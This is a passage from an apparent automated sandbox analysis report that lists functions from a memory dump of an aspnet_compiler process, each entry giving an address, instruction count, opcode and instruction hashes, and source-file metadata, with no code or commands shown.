                  • Opcode Fuzzy Hash: b4a2ae26ee3abd40048d13be6a01ba0be41e532ffc5b91e1cfa67ccd847f4dfb
                  • Instruction Fuzzy Hash: D141D6726046419FC324DF6DD880A6AB7E9FFC8B04F14461DF95597680E730D914C7A6
                  Function 01354859 Relevance: .1, Instructions: 111COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a156158d38e7bdbdae0b713ec9f9ca0b75a92213d4c8df57f23dffb364e2263b
                  • Instruction ID: 34135b83a92b278f5bafcb806393986e884000f81d9c81e685c3cdb12da1d8b6
                  • Opcode Fuzzy Hash: a156158d38e7bdbdae0b713ec9f9ca0b75a92213d4c8df57f23dffb364e2263b
                  • Instruction Fuzzy Hash: C341C3702003028BD769DF2CD885F2ABBF9EF81B58F15442DEE458B2A1EB70D981CB51
                  Function 013602E1 Relevance: .1, Instructions: 106COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                  • Instruction ID: 1d7dec6748f7ec26cb381b92a1e9d78bb702835d08b04e3d3fa39cf204fa079a
                  • Opcode Fuzzy Hash: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                  • Instruction Fuzzy Hash: 97311332A00244ABDB228B6CCC84BDBBFECAF14758F1485B5F856D7356D2749984CBA4
                  Function 01354260 Relevance: .1, Instructions: 102COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f00c5ef7acc159cb19914865980566ca2789a0a505043265e025f3fa7608ea9c
                  • Instruction ID: 820ad59672869d6d37098216d9bb7e06acfcf265e35a93e3da166fe9925d236e
                  • Opcode Fuzzy Hash: f00c5ef7acc159cb19914865980566ca2789a0a505043265e025f3fa7608ea9c
                  • Instruction Fuzzy Hash: E041BF35200B459FD76ACF28C581FD77BF8AF45758F008429EA598B760E774E848CB90
                  Function 013CEB1D Relevance: .1, Instructions: 100COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6ec3e5b2f3e935aa2b06e79520fbe4a8f1110cab5980c1b3adcb1000391ff633
                  • Instruction ID: c90407424356ee4e2409bdf462c38816a4c290b444343b5f461ce44e5c2770fc
                  • Opcode Fuzzy Hash: 6ec3e5b2f3e935aa2b06e79520fbe4a8f1110cab5980c1b3adcb1000391ff633
                  • Instruction Fuzzy Hash: E031B0322096869BF726579CCD58B257FD8BB40F8CF1D40B8AB459B6D2DB28DC40C324
                  Function 014161C3 Relevance: .1, Instructions: 97COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 24a78c4cd9c08ba0f92d3c4eccd02aa04ef913565aab23d237d70da0be62fae7
                  • Instruction ID: 3a02a2c76efc2895da8b2e80815f374d33b0e423eec723e08cd89413cd55e11c
                  • Opcode Fuzzy Hash: 24a78c4cd9c08ba0f92d3c4eccd02aa04ef913565aab23d237d70da0be62fae7
                  • Instruction Fuzzy Hash: A4310475A0011AABDB15DF98CD40BAEB7B9FB44744F014169E900AB258D7B0EC01CB90
                  Function 0137EB20 Relevance: .1, Instructions: 96COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3b0949a13280e208f41a0092e00763121bf48bf5db30ea4b29b42614e1b6da79
                  • Instruction ID: 987240fe94af228a6fe565a2cfcac842f70d5d61a8df08b60bd1cbd6a452a1f0
                  • Opcode Fuzzy Hash: 3b0949a13280e208f41a0092e00763121bf48bf5db30ea4b29b42614e1b6da79
                  • Instruction Fuzzy Hash: 0331A472E04219AFDB31DFADCC40BAEBBBCEF44754F014479E915E7650D6749A008BA0
                  Function 014160B8 Relevance: .1, Instructions: 95COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5e5d940069eec44283ee920f3cee844592be53f46c40c25b6b2fa854d1a5da72
                  • Instruction ID: 1fc689da0a7db05fb54829d8ff903c164f7460c5120bd6269725b0f2171cfba2
                  • Opcode Fuzzy Hash: 5e5d940069eec44283ee920f3cee844592be53f46c40c25b6b2fa854d1a5da72
                  • Instruction Fuzzy Hash: 24310575B00602EFDB229FADC850B6BBBB9AF44754F16406FE505DB365DAB0DC018B90
                  Function 013507AF Relevance: .1, Instructions: 95COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 60e08257cc2c10d54de2fdb7445878a62075519393b786adb48d93ad4783f0ae
                  • Instruction ID: 763c1c1b259dc703d8a6becd3794d97f6bab43c4e2c874969e6812b480a9847e
                  • Opcode Fuzzy Hash: 60e08257cc2c10d54de2fdb7445878a62075519393b786adb48d93ad4783f0ae
                  • Instruction Fuzzy Hash: 55310532A04616EBCB56DE68C880E6BBFE9EFD4B58F014529FC55A7310DA31DC0187E1
                  Function 01358550 Relevance: .1, Instructions: 94COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e0bd5a43e1c19ad2b9ff6e386ccabc50d454ecc4dc8bc765e33776cba1b2139c
                  • Instruction ID: 968a89742303e1eb0dcd18adb613f242527837ac6de9f199de6b8c77f29a7763
                  • Opcode Fuzzy Hash: e0bd5a43e1c19ad2b9ff6e386ccabc50d454ecc4dc8bc765e33776cba1b2139c
                  • Instruction Fuzzy Hash: 9D316D71609301CFE760CF19C880B5BBBE5BB98B18F054A6DFE8597651E770E844CB91
                  Function 0138A6C7 Relevance: .1, Instructions: 92COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                  • Instruction ID: edd51afaebb432f7cb415fde2fef599c22a565d4effa98dfb19b793936ce700c
                  • Opcode Fuzzy Hash: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                  • Instruction Fuzzy Hash: 25314DB2B00B01AFD760EFADCD41B57BBF8BB48A54F04052EA59AC3751E630E900DB60
                  Function 013FEBD0 Relevance: .1, Instructions: 91COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b6b1c44d7013172de8f8c6286fd20b9018363a82fe8f7c874d67a5891df88769
                  • Instruction ID: 82e2e448dba4645d3f4620c4926c2641225bdc14d145e0ce479adda0e7a5cfac
                  • Opcode Fuzzy Hash: b6b1c44d7013172de8f8c6286fd20b9018363a82fe8f7c874d67a5891df88769
                  • Instruction Fuzzy Hash: 163196B15053428FCB21DF1DC540A1ABBF5FF89618F0689BEF5889B221D3309945CB92
                  Function 0137438F Relevance: .1, Instructions: 89COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8e7ccf7564129c60b3c923cd5f27e7cb7b5d52078faf894811451dab32ea7d41
                  • Instruction ID: 154cf2437afdc1db96eb5c80b22336ea17bae5056b0daf395768c0b9fed84972
                  • Opcode Fuzzy Hash: 8e7ccf7564129c60b3c923cd5f27e7cb7b5d52078faf894811451dab32ea7d41
                  • Instruction Fuzzy Hash: D031C271B002059FD730DFA8C981BAEBBF9BB84308F008529D146E7654E734ED41DB91
                  Function 0134CB7E Relevance: .1, Instructions: 89COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
                  • Instruction ID: 579efa4559d725c5ec4fa78b96f8bdd768e9983ffdb0401f3d9f35d73554960a
                  • Opcode Fuzzy Hash: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
                  • Instruction Fuzzy Hash: 62210432E0125AABDB109FB98800BBFBBB9EF14744F0580359E15E7380E270DD01C7A4
                  Function 0134C156 Relevance: .1, Instructions: 88COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ceaaadbe84def59663580fd2b305b9a77888366143a0bc8908374c43d66073ac
                  • Instruction ID: af275ec48cf8989a28f560990d22f4100cc7ed3cb7fa6654e9c1dff96fc33a43
                  • Opcode Fuzzy Hash: ceaaadbe84def59663580fd2b305b9a77888366143a0bc8908374c43d66073ac
                  • Instruction Fuzzy Hash: E13169B15002018BDB35AF5CC841B697BB8EF5031CFC4C1A9ED499B756DA34A882CB90
                  Function 0140C3CD Relevance: .1, Instructions: 88COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                  • Instruction ID: c008772f02da0a67bf5ca5a7bd7141db2749bb4419a3d204d920ca17408a1800
                  • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                  • Instruction Fuzzy Hash: 54213B36600652E7CB16AB9A8C40ABBBBB4FF50710F00817FFA55866E2E634D940C360
                  Function 0134E420 Relevance: .1, Instructions: 88COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5604a1662d2d43cdca49afb777cb72c0eb53454a0745f1a504d4ed5f8e38261a
                  • Instruction ID: 2d1c06c9480f49038012f70af2353f7a1d9606b3dfb865fa04de199f4d06d875
                  • Opcode Fuzzy Hash: 5604a1662d2d43cdca49afb777cb72c0eb53454a0745f1a504d4ed5f8e38261a
                  • Instruction Fuzzy Hash: 1831A231A0152C9BDB319B28CC41FEEB7B9BB15758F0101B1E645A7290D6B8AE818F90
                  Function 01384588 Relevance: .1, Instructions: 87COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                  • Instruction ID: bd5492663c1e2a5ff3907445ae1ceb9454cca7e387ffaea4f68329de5ade6d6f
                  • Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                  • Instruction Fuzzy Hash: E2217131A0070AEBCB15DF58C980B8EBBB5FF48728F118469EE159F641D675EA05CB90
                  Function 013844B0 Relevance: .1, Instructions: 87COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7faffa07ed41a55d16d0bf9a336db524accc9d3fdd5fef42c6ed3fb1dfbd43ef
                  • Instruction ID: d5d94f6ee4da71689f45bec6d8f0dca35469542de081397d8ed3406bda24adbf
                  • Opcode Fuzzy Hash: 7faffa07ed41a55d16d0bf9a336db524accc9d3fdd5fef42c6ed3fb1dfbd43ef
                  • Instruction Fuzzy Hash: F121E172604746DBCB22EF18C980B6F77E8FB88728F014519FD489BA40D730E900CBA2
                  Function 0134E388 Relevance: .1, Instructions: 86COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                  • Instruction ID: 38974a8139c0719b3fe7fca709f9b55fa400d0fafc81da740c910f2a3fb9ddc6
                  • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                  • Instruction Fuzzy Hash: 62318831600608AFD721CBA9C884F6AB7F9FF45358F1045B9E6529B691E734FE02CB50
                  Function 013CE609 Relevance: .1, Instructions: 86COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 91d45087abbdf0c46d5e8dfcf2d336e6634e71d3ca1a3a2b67e27c6a8dea8480
                  • Instruction ID: 994771905f7d4a6e07dafe2179ac3be73216fb3fd619cb28f1faa617d6cbabef
                  • Opcode Fuzzy Hash: 91d45087abbdf0c46d5e8dfcf2d336e6634e71d3ca1a3a2b67e27c6a8dea8480
                  • Instruction Fuzzy Hash: 9F316D75620249EFCB14CF1CC8849AEBBB5FF85728B15446DE8099B391E771EE60CB90
                  Function 01358D59 Relevance: .1, Instructions: 83COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 771e0484a404b195372877301509bf43f816fb0c262265de74eede4d8511304c
                  • Instruction ID: 76b1dabe6f99691505437cb780295f98886b97d6db8a4734d388fb891ad06467
                  • Opcode Fuzzy Hash: 771e0484a404b195372877301509bf43f816fb0c262265de74eede4d8511304c
                  • Instruction Fuzzy Hash: EB214B317006459BE726972DC894BA677F8AF5075CF0945A0DF05A7ED2F76CEC01C110
                  Function 013D019F Relevance: .1, Instructions: 78COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: fccb888e228a0b0b12a467a9408bb2f672cd451496dacf9b3054240ededbc214
                  • Instruction ID: 14adfb4740a196cd86e8d9ae3a2c95ae44aa172e277d229f3205c1d72468fc38
                  • Opcode Fuzzy Hash: fccb888e228a0b0b12a467a9408bb2f672cd451496dacf9b3054240ededbc214
                  • Instruction Fuzzy Hash: 2221BC72600605AFDB15DB6CD840F6AB7B8FF98748F144069F908DB6A0D634ED00CB68
                  Function 013D0283 Relevance: .1, Instructions: 74COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 86bb1999e2c3edb66fb9d5d910bdeaff91f60a3e1e4e0280a62c8efa444f1924
                  • Instruction ID: c3fe8f4a73468a7bd9ea592941db92e6fa6d27363fa78a32ea0738586efdacc1
                  • Opcode Fuzzy Hash: 86bb1999e2c3edb66fb9d5d910bdeaff91f60a3e1e4e0280a62c8efa444f1924
                  • Instruction Fuzzy Hash: 5D2125735043469FD716EF9DE808B5BBBECAF90A48F084856BD84C7251DB34D908C6A2
                  Function 01372835 Relevance: .1, Instructions: 73COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 90419837d0e0441169893484379a78241af1199a84cdb9a40a405931007457c2
                  • Instruction ID: 808557143d5c119b6c282aa6fe65ce1d051cafa256e82ec7530c664b51ba3770
                  • Opcode Fuzzy Hash: 90419837d0e0441169893484379a78241af1199a84cdb9a40a405931007457c2
                  • Instruction Fuzzy Hash: 6121FC31705AC5ABE332576C8C54B557F98AF41B7CF180368FB209BAE2E76DD8018154
                  Function 0138A30B Relevance: .1, Instructions: 70COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f2c827b300f6f53794eb0fd2406386d5c16c3b46a4ef65afd57d68791fd916a9
                  • Instruction ID: 00cf9f4eb81f3b770b401c034b09fd60e399c13b128fd516cb2784e0e28a1358
                  • Opcode Fuzzy Hash: f2c827b300f6f53794eb0fd2406386d5c16c3b46a4ef65afd57d68791fd916a9
                  • Instruction Fuzzy Hash: 96219879200B01ABCB25DF29C801B46B7E9AF58B08F24846DA509CBB65E371E842CB94
                  Function 013E80A8 Relevance: .1, Instructions: 69COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                  • Instruction ID: 5c86a15d79a5a689d27ed9127cecc4d2efecf199772d8860ef4599d07c48f62c
                  • Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                  • Instruction Fuzzy Hash: 19216A72A00219EFDF129F98CC44BAEBBFAEF88318F204459F904A7291D774D9508B50
                  Function 01380124 Relevance: .1, Instructions: 68COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                  • Instruction ID: 651042bdc764db2d237d492ef168d64aaa20504f3907b141e2d05bf730b3f1d6
                  • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                  • Instruction Fuzzy Hash: CA11B277601705AFD726AF58CC81F9ABBB9EB84768F104029F6049B190D671ED48CB60
                  Function 01358770 Relevance: .1, Instructions: 68COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 477781f1a5e5af0fc49d4a2a96608f1ebc293453daad4452ed12d9df8c649a3b
                  • Instruction ID: e3f85c6913c1c046b3112291d7168dfda7085e4d7109650f163a113f14a05ebb
                  • Opcode Fuzzy Hash: 477781f1a5e5af0fc49d4a2a96608f1ebc293453daad4452ed12d9df8c649a3b
                  • Instruction Fuzzy Hash: 6411E271701611DBDB91CF5EC480E66BBE9EF4AF18B1940ADEE089F200D6B2E9018790
                  Function 0138AAEE Relevance: .1, Instructions: 68COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3b9caaf395a22a4929ed725bdef4f5484843110ef385696de3fd96b14fff4041
                  • Instruction ID: 1d4763a66fbbda1582aa3c199621e0862e6cf9351f0172568c2061c27c6d6a1e
                  • Opcode Fuzzy Hash: 3b9caaf395a22a4929ed725bdef4f5484843110ef385696de3fd96b14fff4041
                  • Instruction Fuzzy Hash: F5217C72600745DFDB36AF49C540A66BBEAEB94B58F14887EE54A97B10C770EC01CB80
                  Function 013580E9 Relevance: .1, Instructions: 66COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8bfa2470d1d6040b6e4fff287352801c6c07c82844c8105504a2760f57268574
                  • Instruction ID: 8cf65b0e4747961bb187c2f6cd5ab2dea94578742403c3015926e191c9872cb3
                  • Opcode Fuzzy Hash: 8bfa2470d1d6040b6e4fff287352801c6c07c82844c8105504a2760f57268574
                  • Instruction Fuzzy Hash: 25216F75A00209DFCB14CF59C581AAEBBF5FB89718F2441ADD505A7311CB71AE06CBD0
                  Function 0138674D Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e319b791ba4f290f07f86968295482355a760668bf8bc166aea9d844e85f78d6
                  • Instruction ID: acce31f30bebb9b7d7546dff7d9e6bf57fc6116e2d0a136d9c4e46133a13e463
                  • Opcode Fuzzy Hash: e319b791ba4f290f07f86968295482355a760668bf8bc166aea9d844e85f78d6
                  • Instruction Fuzzy Hash: 2A218EB5510B00EFD720AF68C842B66B7E8FF84254F14882DE59EC7650DA71A850CBA0
                  Function 013E6870 Relevance: .1, Instructions: 63COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: fbc24537734af3ff4e1e485b1137ff9eb138997762e20111dc962d985a47486c
                  • Instruction ID: f74c5046f0b1f57fcdfd27471d1f4d161937f03a81c3bdbbe5c640f61b7397da
                  • Opcode Fuzzy Hash: fbc24537734af3ff4e1e485b1137ff9eb138997762e20111dc962d985a47486c
                  • Instruction Fuzzy Hash: 3D11C1B2240A24EBC722DB5DCD49F9A7BECEF65768F014024F205DB2A1DA70ED01C7A0
                  Function 0137E8C0 Relevance: .1, Instructions: 63COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e90c8715c805a71a0c74a8072dcee27dece55cd725c2af56ee09b0cf6da523a6
                  • Instruction ID: 7633966699b535e6e86dda7aa6daa61d177285c975a88ccd6dc24edd7d1154c8
                  • Opcode Fuzzy Hash: e90c8715c805a71a0c74a8072dcee27dece55cd725c2af56ee09b0cf6da523a6
                  • Instruction Fuzzy Hash: 85112F333001195FCF19DB29CC85A6B725EDFD637CB254539D526CB654E9349801C390
                  Function 013866B0 Relevance: .1, Instructions: 61COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 30868e564fd173f214293b0b54bf105608d73789b24408e542fbe1504a85263e
                  • Instruction ID: 53a971d1ece429deba653ae6792af164b19c04b7736fb585791e0f385fcb62e5
                  • Opcode Fuzzy Hash: 30868e564fd173f214293b0b54bf105608d73789b24408e542fbe1504a85263e
                  • Instruction Fuzzy Hash: 5611C1B6A01305DFCB25EF5DC581A5ABBF8AF84718B028079E9069B314EA30DD00CBD0
                  Function 0141A8E4 Relevance: .1, Instructions: 61COMMON
                  Download Yara Rule
                  Memory Dump Source
